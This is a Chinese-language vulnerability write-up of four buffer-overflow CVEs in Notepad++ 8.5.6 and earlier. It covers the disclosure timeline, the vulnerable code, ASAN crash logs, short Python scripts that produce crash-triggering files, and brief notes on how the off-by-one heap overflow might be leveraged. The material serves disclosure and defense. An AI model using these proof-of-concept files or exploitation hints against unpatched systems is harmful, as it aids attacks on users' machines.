1.漏洞概述
漏洞编号:CVE-2023-40031、CVE-2023-40036、CVE-2023-40164、CVE-2023-40166
Notepad++,一款免费且开源的源代码编辑器,存在多个缓冲区溢出漏洞,这些漏洞可能被威胁行为者用于恶意目的。这些漏洞的严重性从5.5(中等)到7.8(高)不等。
在打开特制的文件时,Notepad++会读取并写入缓冲区边界之外。这些漏洞主要基于Notepad++软件使用的某些函数和库的堆缓冲区写溢出和堆缓冲区读溢出。这些漏洞已被Gitlab安全研究员Jaroslav Lobačevski (@JarLob)识别。
特别是,版本8.5.6及之前的版本在Utf8_16_Read::convert函数中存在堆缓冲区写溢出的问题。这个问题可能导致任意代码执行。截至发表时,Notepad++的现有版本中尚无已知的补丁可用。
然而,根据Notepad++社区,已经发布了Notepad++ v8.5.7的发布候选版本,其中解决了四个安全问题:CVE-2023-40031, CVE-2023-40036, CVE-2023-40164和CVE-2023-40166。此外,该版本还增强了安全性,例如为uninstall.exe签名,并修复了其他非安全相关的问题。
2.漏洞背景
Notepad++是一款颇为知名的开源代码编辑器。
研究人员早在2023年4月底就已经向开发者通报了漏洞。
由于留给开发者的时间已经超过了三个月,因此研究人员选择根据披露政策公开漏洞和PoC即概念验证程序。
2.1披露协调时间线
2023-04-28: 向don.h@free.fr报告GHSL-2023-092,并提供修复建议。
2023-05-06: 确认收到报告。
2023-05-08: 为GHSL-2023-102和GHSL-2023-103创建私有安全建议,并提供修复建议。
2023-05-11: 为GHSL-2023-112创建私有安全建议,并提供修复建议。
2023-05-15: 发布了未修复的Notepad++ v8.5.3版本。
2023-06-05: 请求更新。
2023-06-18: 发布了未修复的Notepad++ v8.5.4版本。
2023-07-01/02: 创建私有拉取请求。
2023-07-04: 通知维护者所有报告都包含修复建议,并为方便起见创建了私有拉取请求。
2023-07-08: 维护者要求为GHSL-2023-112 PoC提供二进制blob,而不是Python脚本。
2023-07-08: 维护者表示v8.5.4不能与ASAN一起编译。
2023-07-10: 确认在我们的设置中v8.5.4可以与ASAN一起编译,问题仍然可以复现,使用ASAN构建是可选的:报告包含足够的信息来设置断点并使用PoC文件复现它。
2023-07-10: 根据要求,为GHSL-2023-112提供了二进制格式的PoC,而不是用于PoC生成的python脚本。
2023-07-17: 询问维护者是否成功下载了二进制PoC,是否有任何问题,并通知了披露政策。未收到回复。
2023-08-09: 发布了未修复的Notepad++ v8.5.5版本。
2023-08-15: 发布了未修复的Notepad++ v8.5.6版本。
2023-08-21: 根据我们的协调披露政策发布。
3.影响范围
这些漏洞影响到Notepad++版本8.5.6及之前的版本。
4.漏洞分析
CVE-2023-40031:
堆缓冲区写溢出在 `Utf8_16_Read::convert` (GHSL-2023-112)
`Utf8_16_Read::convert` 函数在进行UTF16到UTF8的转换时分配了一个新的缓冲区。它计算新缓冲区的大小,假设在最坏的情况下,每两个UTF16编码的输入字节可能需要三个UTF8字节。但是,当输入长度是一个格式错误的奇数字节时,计算就会出错。
当使用Address Sanitizer (ASAN)构建Notepad++并打开一个特制的文件时,可以触发这个问题。
case uni16LE: {
size_t newSize = len + len / 2 + 1; // [2]
if (m_nAllocatedBufSize != newSize)
{
if (m_pNewBuf)
delete[] m_pNewBuf;
m_pNewBuf = NULL;
m_pNewBuf = new ubyte[newSize]; // [1]
m_nAllocatedBufSize = newSize;
}
ubyte* pCur = m_pNewBuf;
m_Iter16.set(m_pBuf + nSkip, len - nSkip, m_eEncoding);
while (m_Iter16)
{
++m_Iter16; // [3]
utf8 c;
while (m_Iter16.get(&c)) // [4]
*pCur++ = c; // [5]
}
ASAN的输出显示了一个堆缓冲区溢出错误,这意味着程序试图访问超出其分配的内存范围的位置。具体来说,这个错误是在`Utf8_16_Read::convert`函数中的`*pCur++ = c;`这一行发生的,这是因为`pCur`指针超出了`m_pNewBuf`缓冲区的边界。
错误的根源在于`Utf8_16_Read::convert`函数中的缓冲区大小计算。当输入的字节长度是奇数时,计算的缓冲区大小可能会太小,导致缓冲区溢出。
ASAN输出分析:
==8896==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x1281524e6472
这表示在地址0x1281524e6472上发生了堆缓冲区溢出。
WRITE of size 1 at 0x1281524e6472 thread T0
这表示在上述地址上发生了大小为1的写操作。
接下来的部分列出了导致此错误的函数调用堆栈。从这个堆栈中,我们可以看到错误是在Utf8_16_Read::convert函数中的C:\npp\PowerEditor\src\Utf8_16.cpp:181行发生的。
0x1281524e6472 is located 0 bytes to the right of 2-byte region [0x1281524e6470,0x1281524e6472)
这表示发生错误的地址位于一个2字节区域的右侧0字节处。这意味着我们正在尝试写入一个已经结束的缓冲区。
allocated by thread T0 here:
这部分列出了分配导致问题的缓冲区的函数调用堆栈。
SUMMARY: AddressSanitizer: heap-buffer-overflow C:\npp\PowerEditor\src\Utf8_16.cpp:181 in Utf8_16_Read::convert
这是一个总结,再次指出问题是在Utf8_16_Read::convert函数中发生的。
The output when built with ASAN:
==8896==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x1281524e6472 at pc 0x7ff7308d686e bp 0x00a8c41da680 sp 0x00a8c41da680
WRITE of size 1 at 0x1281524e6472 thread T0
==8896==WARNING: Failed to use and restart external symbolizer!
#0 0x7ff7308d686d in Utf8_16_Read::convert C:\npp\PowerEditor\src\Utf8_16.cpp:181
#1 0x7ff730060498 in FileManager::loadFileData C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:1620
#2 0x7ff73005620f in FileManager::loadFile C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:753
#3 0x7ff7305729bd in Notepad_plus::doOpen C:\npp\PowerEditor\src\NppIO.cpp:422
#4 0x7ff73051a68f in Notepad_plus::command C:\npp\PowerEditor\src\NppCommands.cpp:3931
#5 0x7ff7304d8163 in Notepad_plus::process C:\npp\PowerEditor\src\NppBigSwitch.cpp:777
#6 0x7ff7304eb383 in Notepad_plus_Window::runProc C:\npp\PowerEditor\src\NppBigSwitch.cpp:127
#7 0x7ff7304eafa1 in Notepad_plus_Window::Notepad_plus_Proc C:\npp\PowerEditor\src\NppBigSwitch.cpp:84
#8 0x7fffdb1e8230 in DispatchMessageW+0x740 (C:\WINDOWS\System32\USER32.dll+0x180018230)
#9 0x7fffdb1e7cf0 in DispatchMessageW+0x200 (C:\WINDOWS\System32\USER32.dll+0x180017cf0)
#10 0x7ff73091b3eb in wWinMain C:\npp\PowerEditor\src\winmain.cpp:720
#11 0x7ff7312b0b71 in invoke_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:118
#12 0x7ff7312b0a9d in __scrt_common_main_seh D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
#13 0x7ff7312b095d in __scrt_common_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:330
#14 0x7ff7312b0bed in wWinMainCRTStartup D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_wwinmain.cpp:16
#15 0x7fffda4c26ac in BaseThreadInitThunk+0x1c (C:\WINDOWS\System32\KERNEL32.DLL+0x1800126ac)
#16 0x7fffdbf2a9f7 in RtlUserThreadStart+0x27 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18005a9f7)
0x1281524e6472 is located 0 bytes to the right of 2-byte region [0x1281524e6470,0x1281524e6472)
allocated by thread T0 here:
#0 0x7ff731263623 in operator new[] D:\a\_work\1\s\src\vctools\asan\llvm\compiler-rt\lib\asan\asan_win_new_array_thunk.cpp:42
#1 0x7ff7308d665a in Utf8_16_Read::convert C:\npp\PowerEditor\src\Utf8_16.cpp:168
#2 0x7ff730060498 in FileManager::loadFileData C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:1620
#3 0x7ff73005620f in FileManager::loadFile C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:753
#4 0x7ff7305729bd in Notepad_plus::doOpen C:\npp\PowerEditor\src\NppIO.cpp:422
#5 0x7ff73051a68f in Notepad_plus::command C:\npp\PowerEditor\src\NppCommands.cpp:3931
#6 0x7ff7304d8163 in Notepad_plus::process C:\npp\PowerEditor\src\NppBigSwitch.cpp:777
#7 0x7ff7304eb383 in Notepad_plus_Window::runProc C:\npp\PowerEditor\src\NppBigSwitch.cpp:127
#8 0x7ff7304eafa1 in Notepad_plus_Window::Notepad_plus_Proc C:\npp\PowerEditor\src\NppBigSwitch.cpp:84
#9 0x7fffdb1e8230 in DispatchMessageW+0x740 (C:\WINDOWS\System32\USER32.dll+0x180018230)
#10 0x7fffdb1e7cf0 in DispatchMessageW+0x200 (C:\WINDOWS\System32\USER32.dll+0x180017cf0)
#11 0x7ff73091b3eb in wWinMain C:\npp\PowerEditor\src\winmain.cpp:720
#12 0x7ff7312b0b71 in invoke_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:118
#13 0x7ff7312b0a9d in __scrt_common_main_seh D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
#14 0x7ff7312b095d in __scrt_common_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:330
#15 0x7ff7312b0bed in wWinMainCRTStartup D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_wwinmain.cpp:16
#16 0x7fffda4c26ac in BaseThreadInitThunk+0x1c (C:\WINDOWS\System32\KERNEL32.DLL+0x1800126ac)
#17 0x7fffdbf2a9f7 in RtlUserThreadStart+0x27 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18005a9f7)
SUMMARY: AddressSanitizer: heap-buffer-overflow C:\npp\PowerEditor\src\Utf8_16.cpp:181 in Utf8_16_Read::convert
Shadow bytes around the buggy address:
0x04cd7c51cc30: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
0x04cd7c51cc40: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
0x04cd7c51cc50: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
0x04cd7c51cc60: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x04cd7c51cc70: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
=>0x04cd7c51cc80: fa fa fd fd fa fa fd fd fa fa fd fd fa fa[02]fa
0x04cd7c51cc90: fa fa fd fa fa fa fd fa fa fa 00 00 fa fa 04 fa
0x04cd7c51cca0: fa fa 04 fa fa fa 01 fa fa fa 04 fa fa fa 01 fa
0x04cd7c51ccb0: fa fa 01 fa fa fa 04 fa fa fa 00 fa fa fa 04 fa
0x04cd7c51ccc0: fa fa 04 fa fa fa 04 fa fa fa 00 00 fa fa 04 fa
0x04cd7c51ccd0: fa fa 04 fa fa fa 04 fa fa fa 04 fa fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
Address Sanitizer Error: Heap buffer overflow
这个ASAN报告指出,Notepad++的Utf8_16_Read::convert函数中存在一个堆缓冲区写溢出的问题。当处理某些特定的输入时,程序尝试写入一个已经结束的缓冲区,从而导致溢出。这种类型的错误可能被利用,从而导致任意代码执行。
**影响:**
这个问题可能导致任意代码执行,因为攻击者可以利用这个缓冲区溢出来执行恶意代码。
**资源:**
为了复现这个问题,可以使用以下Python脚本创建一个文件:
with open("poc", "wb") as f:
f.write(b'\xfe\xff')
f.write(b'\xff' * (128 * 1024 + 4 - 2 + 1))
这个脚本会创建一个名为"poc"的文件,其中包含特定的字节序列,这些字节序列在Notepad++中打开时会触发上述的堆缓冲区写溢出问题。
CVE-2023-40036:
Notepad++使用了一个与uchardet库不同的版本。一个精心制作的文件允许在文件打开操作时读取超出全局分配对象缓冲区的边界。
问题描述 :
在函数HandleOneChar中,数组索引顺序**[1]取决于输入文件的内容。这意味着,如果文件内容被精心制作,它可以设置一个大于mCharToFreqOrder缓冲区大小的索引,从而导致缓冲区读取溢出。例如,在PoC中,索引被设置为5419,而mCharToFreqOrder**(指向全局数组EUCTWCharToFreqOrder的指针)的大小为5376个元素。
虽然在访问缓冲区之前有一个检查**[2]来确保索引小于mTableSize**,但出于某种原因,EUCTWCharToFreqOrder的mTableSize被声明为8102,这明显大于其实际大小。
//Feed a character with known length
void HandleOneChar(const char* aStr, PRUint32 aCharLen)
{
PRInt32 order;
//we only care about 2-bytes character in our distribution analysis
order = (aCharLen == 2) ? GetOrder(aStr) : -1;
if (order >= 0)
{
mTotalChars++;
//order is valid
if ((PRUint32)order < mTableSize) // [2]
{
if (512 > mCharToFreqOrder[order]) // [1] buffer read overflow
mFreqChars++;
}
}
}
影响 :
这个问题的可利用性尚不清楚。但从理论上讲,它可能被用于泄露内部内存分配信息,这可能对攻击者有用。
解决方案 :
这个问题在freedesktop.org的uchardet中已经被修复。因此,Notepad++应该考虑更新其使用的uchardet库版本,或者直接修复这个问题。
如何重现 :
with open("poc", "wb") as f:
f.write(b'\xfd\xde')
使用提供的Python脚本创建一个文件。
使用ASAN构建Notepad++或在**if (512 > mCharToFreqOrder[order])**处设置一个断点。
打开文件以触发断点或与ASAN的边界访问。
ASAN 输出 :
The output when built with ASAN:
==13==ERROR: AddressSanitizer: global-buffer-overflow on address
类型:ERROR: AddressSanitizer: global-buffer-overflow: 这表示发现了一个全局缓冲区溢出问题。0x0000005f4c16 at pc 0x000000589f61 bp 0x7ffde5e554c0 sp 0x7ffde5e554b8
READ of size 2 at 0x0000005f4c16 thread T0
细节READ of size 2 at 0x0000005f4c16 thread T0: 这表示在地址0x0000005f4c16上发生了一个2字节的读取操作。
SCARINESS: 24 (2-byte-read-global-buffer-overflow-far-from-bounds)
#0 0x589f60 in HandleOneChar /src/notepad-plus-plus/PowerEditor/src/uchardet/CharDistribution.h:69:19
HandleOneChar /src/notepad-plus-plus/PowerEditor/src/uchardet/CharDistribution.h:69:19: 问题发生在CharDistribution.h文件的第69行。
#1 0x589f60 in nsEUCTWProber::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsEUCTWProber.cpp:70:31
函数调用堆栈: 这部分列出了导致问题的函数调用序列。从这个堆栈中,我们可以看到问题是在HandleOneChar函数中发生的,该函数是由nsEUCTWProber::HandleData调用的,依此类推。
#2 0x57e75c in nsMBCSGroupProber::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsMBCSGroupProber.cpp:160:25
#3 0x57aadf in nsUniversalDetector::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsUniversalDetector.cpp:214:34
#4 0x5796a8 in uchardet_handle_data /src/notepad-plus-plus/PowerEditor/src/uchardet/uchardet.cpp:89:63
DEDUP_TOKEN: HandleOneChar--nsEUCTWProber::HandleData(char const*, unsigned int)--nsMBCSGroupProber::HandleData(char const*, unsigned int)
0x0000005f4c16 is located 86 bytes to the right of global variable 'EUCTWCharToFreqOrder' defined in '/src/notepad-plus-plus/PowerEditor/src/uchardet/EUCTWFreq.tab:62:22' (0x5f21c0) of size 10752
0x0000005f4c16 is located 86 bytes to the right of global variable 'EUCTWCharToFreqOrder': 这表示问题的地址位于全局变量EUCTWCharToFreqOrder的右侧86字节处。这意味着程序试图读取超出该全局变量分配的内存范围。
SUMMARY: AddressSanitizer: global-buffer-overflow /src/notepad-plus-plus/PowerEditor/src/uchardet/CharDistribution.h:69:19 in HandleOneChar
: 这是一个简短的总结,指出问题是在HandleOneChar函数中发生的。
Shadow bytes around the buggy address:
0x0000800b6930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800b6940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800b6950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800b6960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800b6970: 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9
=>0x0000800b6980: f9 f9[f9]f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000800b6990: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000800b69a0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000800b69b0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000800b69c0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000800b69d0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
这部分提供了有关错误地址周围内存的信息。ASAN使用这些"shadow bytes"来跟踪每个内存字节的状态。例如,它可以标记哪些字节是可访问的、哪些是堆的左红区、哪些是已释放的堆区域等。
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==13==ABORTING
这个ASAN报告指出,Notepad++的HandleOneChar函数中存在一个全局缓冲区溢出问题。当处理某些特定的输入时,程序尝试读取超出全局变量EUCTWCharToFreqOrder分配的内存范围,从而导致溢出。这种类型的错误可能被恶意利用,从而导致任意代码执行或其他不可预测的行为。
CVE-2023-40164:
sCodingStateMachine::NextState 中的全局缓冲区读取溢出。
描述
Notepad++使用了一个与uchardet库分叉的版本。一个精心制作的文件在打开文件操作时允许读取超出全局分配的对象缓冲区的边界。
细节
nsSMState NextState(char c) {
//for each byte we get its class , if it is first byte, we also get byte length
PRUint32 byteCls = GETCLASS(c);
if (mCurrentState == eStart)
{
mCurrentBytePos = 0;
mCurrentCharLen = mModel->charLenTable[byteCls]; // [1] buffer read overflow
}
The array index byteCls in [1] depends on the input file content and can be set to something that is greater than the size of the charLenTable buffer, which leads to out of buffer read.: 这表示byteCls数组索引取决于输入文件的内容,并且可以设置为大于charLenTable缓冲区大小的值,这导致了缓冲区读取溢出。
复现步骤:
• 提供了一个Python脚本来创建一个触发此问题的文件。然后,使用ASAN构建或在byteCls == 9时设置一个条件断点来打开文件,以触发断点或与ASAN的越界访问。
• with open("poc", "wb") as f:
• f.write(b'\x49\x7e\x7b')
ASAN 输出 :
The output when built with ASAN:
==13==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000005f0184 at pc 0x00000057c32f bp 0x7ffcd9144950 sp 0x7ffcd9144948
READ of size 4 at 0x0000005f0184 thread T0
SCARINESS: 17 (4-byte-read-global-buffer-overflow)
#0 0x57c32e in NextState /src/notepad-plus-plus/PowerEditor/src/uchardet/nsCodingStateMachine.h:72:25
#1 0x57c32e in nsEscCharSetProber::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsEscCharsetProber.cpp:84:47
#2 0x57ac88 in nsUniversalDetector::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsUniversalDetector.cpp:202:29
#3 0x5796a8 in uchardet_handle_data /src/notepad-plus-plus/PowerEditor/src/uchardet/uchardet.cpp:89:63
DEDUP_TOKEN: NextState--nsEscCharSetProber::HandleData(char const*, unsigned int)--nsUniversalDetector::HandleData(char const*, unsigned int)
0x0000005f0184 is located 60 bytes to the left of global variable 'ISO2022KRSMModel' defined in '/src/notepad-plus-plus/PowerEditor/src/uchardet/nsEscSM.cpp:254:15' (0x5f01c0) of size 72
0x0000005f0184 is located 28 bytes to the left of global variable '<string literal>' defined in '/src/notepad-plus-plus/PowerEditor/src/uchardet/nsEscSM.cpp:206:3' (0x5f01a0) of size 12
'<string literal>' is ascii string 'ISO-2022-JP'
0x0000005f0184 is located 4 bytes to the right of global variable 'ISO2022JPCharLenTable' defined in '/src/notepad-plus-plus/PowerEditor/src/uchardet/nsEscSM.cpp:199:23' (0x5f0160) of size 32
SUMMARY: AddressSanitizer: global-buffer-overflow /src/notepad-plus-plus/PowerEditor/src/uchardet/nsCodingStateMachine.h:72:25 in NextState
Shadow bytes around the buggy address:
0x0000800b5fe0: f9 f9 f9 f9 00 00 00 00 f9 f9 f9 f9 00 00 00 00
0x0000800b5ff0: 04 f9 f9 f9 f9 f9 f9 f9 00 04 f9 f9 00 00 00 00
0x0000800b6000: 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
0x0000800b6010: 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9
0x0000800b6020: 00 00 00 00 04 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
=>0x0000800b6030:[f9]f9 f9 f9 00 04 f9 f9 00 00 00 00 00 00 00 00
0x0000800b6040: 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x0000800b6050: 00 00 00 00 00 00 00 00 f9 f9 f9 f9 00 00 04 f9
0x0000800b6060: f9 f9 f9 f9 00 00 00 f9 f9 f9 f9 f9 00 04 f9 f9
0x0000800b6070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800b6080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==13==ABORTING
这部分提供了使用AddressSanitizer工具生成的详细错误报告。它指出问题是在NextState函数中发生的,该函数是由nsEscCharSetProber::HandleData调用的。
CVE-2023-40166:
FileManager::detectLanguageFromTextBegining 中的堆缓冲区读取溢出。
这是一个关于Notepad++中的堆缓冲区读取溢出问题的报告。让我们逐步分析这个报告:
- **问题描述**:
-
当打开文件时,Notepad++调用`FileManager::loadFile`,在其中为文件内容分配了一个固定大小的缓冲区。
-
`FileManager::loadFileData`将文件的第一块数据加载到缓冲区,并调用`detectLanguageFromTextBegining`从文件的开始部分识别内容类型。
char* data = new char[blockSize + 8]; // +8 for incomplete multibyte char
...
bool res = loadFileData(doc, fileSize, backupFileName ? backupFileName : fullpath, data, &UnicodeConvertor, loadedFileFormat);
delete[] data;
- **代码细节**:
-
在`detectLanguageFromTextBegining`函数中,代码会前进`data`指针,直到检测到非空格字符或达到`lenFile`为止。
-
如果达到`lenFile`,代码将继续执行,并读取`data`缓冲区末尾之后的32个字节。
-
在循环结束时,应该检查`i + longestLength`的值是否仍然小于`dataLen`。
lenFile = fread(data + incompleteMultibyteChar, 1, blockSize - incompleteMultibyteChar, fp) + incompleteMultibyteChar; // 1
if (ferror(fp) != 0)
{
success = false;
break;
}
if (lenFile == 0) break;
...
fileFormat._language = detectLanguageFromTextBegining((unsigned char *)data, lenFile); // 2
- **问题原因**:
-
代码没有正确地检查在读取数据之前`data`指针是否已经超出了其分配的缓冲区范围,这可能导致读取溢出。
LangType FileManager::detectLanguageFromTextBegining(const unsigned char *data, size_t dataLen)
{
...
// Skip any space-like char
for (; i < dataLen; ++i) // 3
{
if (data[i] != ' ' && data[i] != '\t' && data[i] != '\n' && data[i] != '\r')
break;
}// Create the buffer to need to test
const size_t longestLength = 40; // shebangs can be large
std::string buf2Test = std::string((const char*)data + i, longestLength); // 4 OOB READ
- **影响**:
- 这个问题的可利用性不清楚。潜在地,它可能被用来泄露内部内存分配信息。
- **复现步骤**:
-
为`notepad++.exe`在GFlags中启用页面堆。
-
使用提供的Python脚本创建一个`poc.xml`文件。
-
使用notepad++打开文件以触发内存读取异常。
with open("poc.xml", "w") as f:
f.write(" " * (128 * 1024 + 4))
**结论**:
这个报告描述了Notepad++中的一个堆缓冲区读取溢出问题。当处理某些特定的输入文件时,程序可能尝试读取超出其分配的缓冲区的内存,从而导致读取溢出。这种类型的错误可能被恶意利用,从而导致内存泄露或其他不可预测的行为。
5.漏洞利用
**CVE-2023-40031: 堆缓冲区溢出**
-
**类型**: 堆缓冲区溢出,具体为off-by-one错误。
-
**描述**: 程序可能会写入超出其分配的缓冲区的额外一个字节。
-
**利用**: 通常被认为是难以利用的。但可以通过修改相邻堆的大小来造成堆块之间的重叠,从而泄露或覆盖其他堆块的数据。要实现远程代码执行,可能需要与其他漏洞结合。
**CVE-2023-40036: 全局缓冲区溢出**
-
**类型**: 全局缓冲区读取溢出。
-
**描述**: 在处理某些文件时,程序可能会读取超出全局变量分配的缓冲区。
-
**利用**: 这种类型的漏洞可能会导致信息泄露,尤其是如果攻击者可以控制或影响读取的数据。此外,它可能会被用作更复杂攻击的一部分。
**CVE-2023-40164: 全局缓冲区读取溢出**
-
**类型**: 全局缓冲区读取溢出。
-
**描述**: 程序在处理文件时可能会读取超出全局变量分配的缓冲区。
-
**利用**: 与CVE-2023-40036类似,这种漏洞可能导致信息泄露。攻击者可能会利用这种漏洞来泄露内存中的敏感信息或作为更复杂攻击的一部分。
**CVE-2023-40166: 堆缓冲区读取溢出**
-
**类型**: 堆缓冲区读取溢出。
-
**描述**: 在尝试识别文件内容时,程序可能会读取超出其分配的缓冲区。
-
**利用**: 这种漏洞可能导致内部内存分配信息的泄露。如果攻击者可以控制或影响读取的数据,他们可能会利用这种漏洞来泄露内存中的敏感信息或作为更复杂攻击的一部分。
**总结**:
这四个CVE都涉及到缓冲区溢出或读取溢出的问题,其中两个是全局缓冲区,两个是堆缓冲区。这些漏洞可能导致信息泄露、数据损坏或更复杂的攻击。尽管某些漏洞(如off-by-one)可能被认为是难以利用的,但在某些情况下,它们确实可以被利用,特别是当与其他漏洞或技术结合使用时。
6.参考链接
完整链接请查看
https://securitylab.github.com/advisories/GHSL-2023-092_Notepad__/